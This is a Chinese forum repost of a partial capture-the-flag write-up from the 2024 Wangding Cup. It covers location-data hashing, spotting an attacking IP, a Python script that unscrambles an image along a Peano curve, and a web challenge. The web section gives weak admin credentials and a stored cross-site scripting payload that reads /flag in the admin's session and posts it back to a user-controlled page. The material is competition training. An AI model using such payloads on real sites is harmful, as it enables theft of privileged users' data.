ToB企服应用市场:ToB评测及商务社交产业平台

标题: 2024网鼎杯青龙组Web+Misc部分WP [打印本页]

---

作者: 王柳    时间: 2024-11-6 13:56
标题: 2024网鼎杯青龙组Web+Misc部分WP
MISC01

发现人员的定位信息存在泄漏，请对其进行分析。flag为用户位置信息进行32位md5哈希值
我们在这里可以找到关于Location——information信息

实验把val值继续32位md5哈希加密，拿到flag
flag{4c4e66ea9aa659b1cac5d4fe327bbfc1}
MISC03

第 1 步：看到好几个上传木马的 ip，都试一试，最终 ip 为 39.168.5.60 的为
精确攻击 ip

MISC04

推测应该是按着曲线的轨迹将像素还原到原来的位置

脚本如下：

1. from PIL import Image
2. from tqdm import tqdm
4. def peano(n):
5.     if n == 0:
6.         return [[0,0]]
7.     else:
8.         in_lst = peano(n - 1)
9.         lst = in_lst.copy()
10.         px,py = lst[-1]
11.         lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
12.         px,py = lst[-1]
13.         lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
14.         px,py = lst[-1]
15.         lst.extend([px + 1 + i[0], py - i[1]] for i in in_lst)
16.         px,py = lst[-1]
17.         lst.extend([px - i[0], py - 1 - i[1]] for i in in_lst)
18.         px,py = lst[-1]
19.         lst.extend([px + i[0], py - 1 - i[1]] for i in in_lst)
20.         px,py = lst[-1]
21.         lst.extend([px + 1 + i[0], py + i[1]] for i in in_lst)
22.         px,py = lst[-1]
23.         lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
24.         px,py = lst[-1]
25.         lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
26.         return lst
28. order = peano(6)
30. img = Image.open(r"C:\Users\ASUSROG\Desktop\chal.png")
32. width, height = img.size
34. block_width = width # // 3
35. block_height = height # // 3
37. new_image = Image.new("RGB", (width, height))
39. for i, (x, y) in tqdm(enumerate(order)):
40.     # 根据列表顺序获取新的坐标
41.     new_x, new_y = i % width, i // width
42.     # 获取原图像素
43.     pixel = img.getpixel((x, height - 1 - y))
44.     # 在新图像中放置像素
45.     new_image.putpixel((new_x, new_y), pixel)
47. new_image.save("rearranged_image.jpg")

复制代码

拿到二维码，扫描拿到flag

参考：IrisCTF2024 | 1r0ny
WEB02（环境关了没图片呜呜呜）

第 1 步：打开网页，目录扫描扫描到/flag，实验访问，提示只有 boos 可以访
问。
第 2 步：实验登录，admin/1,登录成功。
第 3 步：

1. <script>fetch('/flag').then(response=>response.text()).then(data=>{fetch('/content/a9571d0
2. e889a28847d8682903',{method:'POST',headers:{'Content-Type':'application/x-www-form-
3. urlencoded'},body:"content="+data});})</script>

复制代码

更新之后提交给 boos，革新页面拿到 flag

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。

---

欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/)

Powered by Discuz! X3.4